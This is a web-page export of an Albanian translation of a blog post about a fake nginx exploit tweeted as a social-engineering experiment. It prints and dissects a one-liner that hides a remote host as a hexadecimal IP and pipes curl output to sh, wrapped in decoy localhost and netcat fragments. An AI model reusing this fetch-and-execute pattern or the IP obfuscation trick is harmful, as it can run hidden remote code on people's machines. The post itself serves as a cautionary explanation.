{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Suksesi i eksperimentit shoq\u00ebror me nj\u00eb exploit t\u00eb rrem\u00eb p\u00ebr nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Sh\u00ebn. p\u00ebrk.<\/b>: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\">Autor<\/a><\/noindex> e v\u00ebzhguar nj\u00eb eksperiment n\u00eb mesin e atyre t\u00eb interesuar p\u00ebr sigurin\u00eb informatike. P\u00ebr k\u00ebt\u00eb, ai p\u00ebrgatiti nj\u00eb shfryt\u00ebzim t\u00eb rrem\u00eb p\u00ebr nj\u00eb vulnerabilitet t\u00eb pa zbuluar n\u00eb nj\u00eb server web dhe e publikoi at\u00eb n\u00eb Twitter-in e tij. Supozimet e tij \u2014 q\u00eb do t\u00eb zbuloheshin menj\u00ebher\u00eb nga specialist\u00ebt q\u00eb do t\u00eb shihnin mashtrimin e duksh\u00ebm n\u00eb kod \u2014 jo vet\u00ebm q\u00eb nuk u realizuan... Ata tejkaluan t\u00eb gjitha pritshm\u00ebrit\u00eb, dhe p\u00ebrkundrazi: tweet-i mori mb\u00ebshtetje t\u00eb madhe nga shum\u00eb njer\u00ebz q\u00eb nuk u shqet\u00ebsuan t\u00eb kontrollonin p\u00ebrmbajtjen e tij.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me nj\u00eb exploit t\u00eb rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/20ff08c6f541176c68ef2c689b989389.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\n<b>TL;DR: n\u00eb asnj\u00eb m\u00ebnyr\u00eb mos p\u00ebrdorni konvertimin e skedave n\u00eb sh ose bash. Ky \u00ebsht\u00eb nj\u00eb m\u00ebnyr\u00eb e shk\u00eblqyer p\u00ebr t\u00eb humbur kontrollin mbi kompjuterin.<\/b><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<p>Dua t\u00eb ndaj me ju nj\u00eb histori t\u00eb vog\u00ebl rreth nj\u00eb shfryt\u00ebzimi t\u00eb PoC q\u00eb u krijua m\u00eb 31 maj. Ai u shfaq shpejt n\u00eb p\u00ebrgjigje t\u00eb lajmit nga <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">Alisa Esage Shevchenko<\/a><\/noindex>, an\u00ebtare e <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thezdi\">Zero Day Initiative<\/a><\/noindex> (ZDI), p\u00ebr informacionin e nj\u00eb dob\u00ebsie n\u00eb NGINX q\u00eb \u00e7on n\u00eb RCE (ekzekutimi n\u00eb distanc\u00eb t\u00eb kodit). Duke qen\u00eb se NGINX \u00ebsht\u00eb n\u00eb thelb t\u00eb shum\u00eb faqeve t\u00eb internetit, kjo lajm pritej t\u00eb kishte nj\u00eb efekt t\u00eb madh. Por p\u00ebr shkak t\u00eb vonesave n\u00eb procesin e \"zhvillimit t\u00eb p\u00ebrgjegjsh\u00ebm\" t\u00eb informacionit, detajet nuk u b\u00ebn\u00eb t\u00eb njohura - kjo \u00ebsht\u00eb procedura standarde e ZDI.<\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me nj\u00eb exploit t\u00eb rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/fba47177ff2a2d05db7942f229e145b0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\/status\/1134400951043874816\">Tweet<\/a><\/noindex> p\u00ebr zbardhjen e dob\u00ebsis\u00eb n\u00eb NGINX<\/i><\/p>\n<p>Pas p\u00ebrfundimit t\u00eb pun\u00ebs mbi nj\u00eb teknik\u00eb t\u00eb re obfuscation n\u00eb curl, citoj tweet-in origjinal dhe \"urboj nj\u00eb PoC funksional\", q\u00eb p\u00ebrb\u00ebhet nga nj\u00eb rresht kodi, duke pretenduar se p\u00ebrdor dob\u00ebsin\u00eb e zbuluar. Sigurisht, kjo ishte nj\u00eb idiot\u00ebsi e plot\u00eb. Mendova se do t\u00eb m\u00eb zbulonin menj\u00ebher\u00eb dhe se n\u00eb rastin m\u00eb t\u00eb mir\u00eb do t\u00eb merrja disa retweet (n\u00eb rregull).<\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me nj\u00eb exploit t\u00eb rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/30c8394a4bd7a151828bc3459f18f2f6.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\/status\/1134559331989434368\">Tweet<\/a><\/noindex> me nj\u00eb exploit t\u00eb rrem\u00eb<\/i><\/p>\n<p>Megjithat\u00eb, nuk mund t\u00eb imagjinoja at\u00eb q\u00eb ndodhi m\u00eb pas. Popullariteti i tweet-it tim u rrit n\u00eb qiell. E \u00e7uditshme, por deri m\u00eb tani (15:00 MSC, 1 qershor) akoma shum\u00eb pak njer\u00ebz e kuptonin se ishte nj\u00eb falsifikim. Shum\u00eb e ritweetojn\u00eb at\u00eb pa e kontrolluar fare (pa p\u00ebrmendur t\u00eb shijojn\u00eb grafik\u00ebn e bukur ASCII q\u00eb shfaqet).<\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me nj\u00eb exploit t\u00eb rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/a22501843edc07cf0dc49b698b1048c2.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Vet\u00ebm shikoni se sa bukuri!<\/i><\/p>\n<p>Pavar\u00ebsisht q\u00eb k\u00ebto cikle dhe ngjyra jan\u00eb t\u00eb mrekullueshme, \u00ebsht\u00eb e qart\u00eb: p\u00ebr t'i par\u00eb ato, njer\u00ebzit kan\u00eb ekzekutuar kodin n\u00eb makin\u00ebn e tyre. Fatmir\u00ebsisht, shfletuesit funksionojn\u00eb nj\u00ebsoj, dhe duke pasur parasysh se problemet ligjore nuk m\u00eb duhen fare, kodi i fshehur n\u00eb faqen time thjesht b\u00ebnte thirrje echo, pa provuar t\u00eb instalonte ose ekzekutonte ndonj\u00eb kod shtes\u00eb.<\/p>\n<p>Nj\u00eb shenj\u00eb e vog\u00ebl: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/netspooky\">netspooky<\/a><\/noindex>, <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/dnoiz1\">dnz<\/a><\/noindex>, un\u00eb dhe djemt\u00eb e tjer\u00eb nga ekipi <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thugcrowd\">Thugcrowd<\/a><\/noindex> kemi luajtur me disa m\u00ebnyra t\u00eb ndryshme p\u00ebr t\u00eb obfuscation komandat curl, sepse kjo \u00ebsht\u00eb arg\u00ebtuese\u2026 dhe ne jemi giki. netspooky dhe dnz zbuluan disa m\u00ebnyra t\u00eb reja, t\u00eb cilat m\u00eb dukeshin jasht\u00ebzakonisht premtuese. Un\u00eb iu bashkova arg\u00ebtimit dhe provova t\u00eb shtoja p\u00ebrkthime t\u00eb IP-s\u00eb n\u00eb grupin e trukeve. Doli se IP gjithashtu mund t\u00eb konvertohej n\u00eb formatin hexadecimal. P\u00ebr m\u00eb tep\u00ebr, curl dhe shumica e mjeteve t\u00eb tjera NIX e han\u00eb me k\u00ebnaq\u00ebsi IP-t\u00eb hexadecimal! K\u00ebshtu q\u00eb, thjesht duhej t\u00eb krijoja nj\u00eb komand\u00eb t\u00eb besueshme dhe q\u00eb dukej e sigurt. N\u00eb fund t\u00eb fundit, u ndala n\u00eb k\u00ebt\u00eb:<\/p>\n<pre><code class=\"plaintext\">curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/%00\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh%00&lt;'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n<p><\/p>\n<h2>Inxhinieria socio-elektronike (S.E.E.) \u2014 m\u00eb shum\u00eb se thjesht phishing<\/h2>\n<p>\nSiguria dhe njohuria kan\u00eb qen\u00eb nj\u00eb pjes\u00eb thelb\u00ebsore e k\u00ebtij eksperimenti. Mendoj se pik\u00ebrisht ato e \u00e7uan n\u00eb sukses. Komanda e linj\u00ebs qart\u00eb n\u00ebnkuptonte siguri, duke iu referuar \u00ab127.0.0.1\u00bb (localhosti i njohur). Lokali konsiderohet i sigurt dhe t\u00eb dh\u00ebnat aty kurr\u00eb nuk e l\u00ebn\u00eb kompjuterin tuaj.<\/p>\n<p>Njohuria ishte komponenti i dyt\u00eb ky\u00e7 i S.E.E. n\u00eb eksperiment. Duke qen\u00eb se audienca e synuar p\u00ebrb\u00ebhej kryesisht nga njer\u00ebz t\u00eb njohur me bazat e siguris\u00eb kompjuterike, ishte e r\u00ebnd\u00ebsishme t\u00eb krijohej nj\u00eb kod i till\u00eb, q\u00eb pjes\u00ebt e tij t\u00eb dukeshin t\u00eb njohura dhe t\u00eb zakonshme (prandaj t\u00eb sigurta). Huazimi i elementeve nga konceptet e vjetra t\u00eb shfryt\u00ebzimit dhe kombinimi i tyre n\u00eb nj\u00eb m\u00ebnyr\u00eb t\u00eb pazakont\u00eb u tregua shum\u00eb i suksessh\u00ebm.<\/p>\n<p>M\u00eb posht\u00eb \u00ebsht\u00eb nj\u00eb analiz\u00eb e detajuar e nj\u00eb linje t\u00eb vetme. <i>T\u00eb gjitha n\u00eb k\u00ebt\u00eb list\u00eb jan\u00eb <b>me karakter kozmetik<\/b>, dhe p\u00ebr funksionimin e tij real nuk k\u00ebrkohet asgj\u00eb praktike.<\/i><\/p>\n<p>Cilat jan\u00eb komponent\u00ebt q\u00eb jan\u00eb v\u00ebrtet t\u00eb nevojsh\u00ebm? K\u00ebto jan\u00eb <code>-gsS<\/code>, <code>-O 0x0238f06a<\/code>, <code>|sh<\/code> dhe vet\u00eb serveri web. Serveri web nuk kishte asnj\u00eb instruktion keqdash\u00ebs, por thjesht transmetonte grafik\u00ebn ASCII p\u00ebrmes komandave <code>echo<\/code> n\u00eb skedarin q\u00eb ndodhet n\u00eb <code>index.html<\/code>. Kur p\u00ebrdoruesi fusnin nj\u00eb varg me <code>|sh<\/code> n\u00eb mes, <code>index.html<\/code> ngarkohej dhe ekzekutohej. P\u00ebr fat t\u00eb mir\u00eb, ruajt\u00ebsit e serverit web nuk kishin q\u00ebllime t\u00eb k\u00ebqija.<\/p>\n<ul>\n<li> <code>..\/..\/..\/%00<\/code> \u2014 tregon nj\u00eb dalje jasht\u00eb drejtoris\u00eb;<\/li>\n<li> <code>ngx_stream_module.so<\/code> \u2014 rruga p\u00ebr nj\u00eb modul t\u00eb rast\u00ebsish\u00ebm NGINX;<\/li>\n<li> <code>\/bin\/sh%00&lt;'protocol:TCP'<\/code> \u2014 supozohet se ne e fillojm\u00eb <code>\/bin\/sh<\/code> n\u00eb makin\u00ebn e synuar dhe drejtojm\u00eb daljen n\u00eb nj\u00eb kanal TCP;<\/li>\n<li> <code>-O 0x0238f06a#PLToffset<\/code> \u2014 p\u00ebrb\u00ebr\u00ebsi sekret, i plot\u00ebsuar <code>#PLToffset<\/code>, p\u00ebr t\u00eb dukur si nj\u00eb offset memorjeje, ndonj\u00eb m\u00ebnyr\u00eb q\u00eb ndodhet n\u00eb PLT;<\/li>\n<li> <code>|sh;<\/code> \u2014 nj\u00eb fragment tjet\u00ebr t\u00eb r\u00ebnd\u00ebsish\u00ebm. Na duhej t\u00eb drejtonim daljen n\u00eb sh\/bash, p\u00ebr t\u00eb ekzekutuar kodin q\u00eb vinte nga serveri web sulmues, i vendosur n\u00eb adres\u00ebn <code>0x0238f06a<\/code> (<code>2.56.240.x<\/code>);<\/li>\n<li> <code>nc \/dev\/tcp\/localhost<\/code> \u2014 nj\u00eb vend mbush\u00ebs, ku netcat referohet n\u00eb <code>\/dev\/tcp\/localhost<\/code>, p\u00ebr t\u00eb siguruar q\u00eb gjith\u00e7ka t\u00eb duket e sigurt p\u00ebrs\u00ebri. N\u00eb t\u00eb v\u00ebrtet\u00eb, nuk b\u00ebn asgj\u00eb dhe \u00ebsht\u00eb p\u00ebrfshir\u00eb n\u00eb varg p\u00ebr estetik\u00eb.<\/li>\n<\/ul>\n<p>\nK\u00ebtu p\u00ebrfundon dekodimi i skenarit nj\u00eb-rresht dhe diskutimi mbi aspektet e \"ingenieris\u00eb socio-elektronike\" (p\u00ebrfshatje e sofistikuar).<\/p>\n<h2>Konfigurimi i serverit web dhe masat e kund\u00ebrshtimit<\/h2>\n<p>\nDuke shumica d\u00ebrrmuese e ndjek\u00ebsve t\u00eb mi jan\u00eb ekspert\u00eb t\u00eb siguris\u00eb informatike\/haker\u00eb, vendosa t\u00eb b\u00ebj serverin e uebit disi m\u00eb rezistent ndaj manifestimeve t\u00eb \u2018interesit\u2019 nga ana e tyre thjesht q\u00eb t\u00eb ken\u00eb di\u00e7ka p\u00ebr t\u00eb b\u00ebr\u00eb (dhe ishte m\u00eb arg\u00ebtuese ta konfiguroja). Nuk kam p\u00ebr q\u00ebllim t\u00eb listoj t\u00eb gjitha grackat, pasi eksperimenti ende vazhdon, por ja disa gj\u00ebra q\u00eb b\u00ebn serveri:<\/p>\n<ul>\n<li> Aktivisht ndjek p\u00ebrpjekjet p\u00ebr shp\u00ebrndarje n\u00eb rrjete t\u00eb caktuara sociale dhe vendos miniaturat e ndryshme t\u00eb parazgjedhura p\u00ebr t\u00eb inkurajuar p\u00ebrdoruesin t\u00eb klikoj\u00eb n\u00eb lidhje.<\/li>\n<li> Rr\u00ebfen Chrome\/Mozilla\/Safari\/etj. n\u00eb nj\u00eb video promocionale Thugcrowd n\u00eb vend q\u00eb t\u00eb tregoj\u00eb skenarin shell.<\/li>\n<li> Ndiqni SHENJA T\u00cb QARTA t\u00eb sulmit\/thyerjes brutale, dhe m\u00eb pas fillon t\u00eb drejtoj\u00eb k\u00ebrkesat n\u00eb serverat e NSA (ha!).<\/li>\n<li> Instalon trojan, si dhe nj\u00eb rootkit BIOS n\u00eb t\u00eb gjitha kompjuter\u00ebt, p\u00ebrdoruesit e t\u00eb cil\u00ebve vizitojn\u00eb hostin nga nj\u00eb shfletues i zakonsh\u00ebm (shaka!).<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me nj\u00eb exploit t\u00eb rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/8ea3f0c6e2e303bef6f9ba73370d6cf1.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Nj\u00eb pjes\u00eb e vog\u00ebl anti-mire<\/i><\/p>\n<p>N\u00eb k\u00ebt\u00eb rast, q\u00ebllimi im i vet\u00ebm ishte t\u00eb m\u00ebsoja disa mund\u00ebsi t\u00eb Apache - ve\u00e7an\u00ebrisht, rregulla t\u00eb mrekullueshme p\u00ebr ridrejtim t\u00eb k\u00ebrkesave - dhe mendova: pse jo?<\/p>\n<h2>Eksploit NGINX (i v\u00ebrtet\u00eb!)<\/h2>\n<p>\nAbonohuni n\u00eb <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">@alisaesage<\/a><\/noindex> n\u00eb Twitter dhe ndiqni pun\u00ebn e shk\u00eblqyer t\u00eb ZDI p\u00ebr elimimin e vulnerabiliteteve reale dhe mund\u00ebsive p\u00ebr shfryt\u00ebzim n\u00eb NGINX. Puna e tyre gjithmon\u00eb m\u00eb ka magjepsur dhe falenderoj Alis\u00ebn p\u00ebr durimin e saj lidhur me t\u00eb gjitha p\u00ebrmendjet dhe njoftimet shkaktuar nga twitin tim t\u00eb budallall\u00ebkut. Fatmir\u00ebsisht, ai ka sjell\u00eb edhe disa dobi: ndihmoi n\u00eb rritjen e nd\u00ebrgjegj\u00ebsimit p\u00ebr vulnerabilitetet NGINX, si dhe p\u00ebr problemet q\u00eb shkakton abuzimi me curl.<br \/>\n<br \/>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/454700\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f, [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":26410,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-35126","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f,\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"sq_AL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f,\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Suksesi i eksperimentit shoq\u00ebror me nj\u00eb shfryt\u00ebzim fals p\u00ebr nginx | ProHoster","description":"Sh\u00ebnim i p\u00ebrkthyesit: Autori i sh\u00ebnimit origjinal, i publikuar m\u00eb 1 qershor, vendosi t\u00eb realizoj\u00eb nj\u00eb eksperiment n\u00eb mes t\u00eb atyre q\u00eb merren me sigurin\u00eb informative. P\u00ebr k\u00ebt\u00eb, ai p\u00ebrgatiti nj\u00eb eksploit t\u00eb rrem\u00eb p\u00ebr nj\u00eb dob\u00ebsi t\u00eb pa zbuluar n\u00eb serverin e uebit dhe e publikoi at\u00eb n\u00eb Twitter. Supozimet e tij - t\u00eb zbulohej menj\u00ebher\u00eb nga specialist\u00ebt, t\u00eb cil\u00ebt do 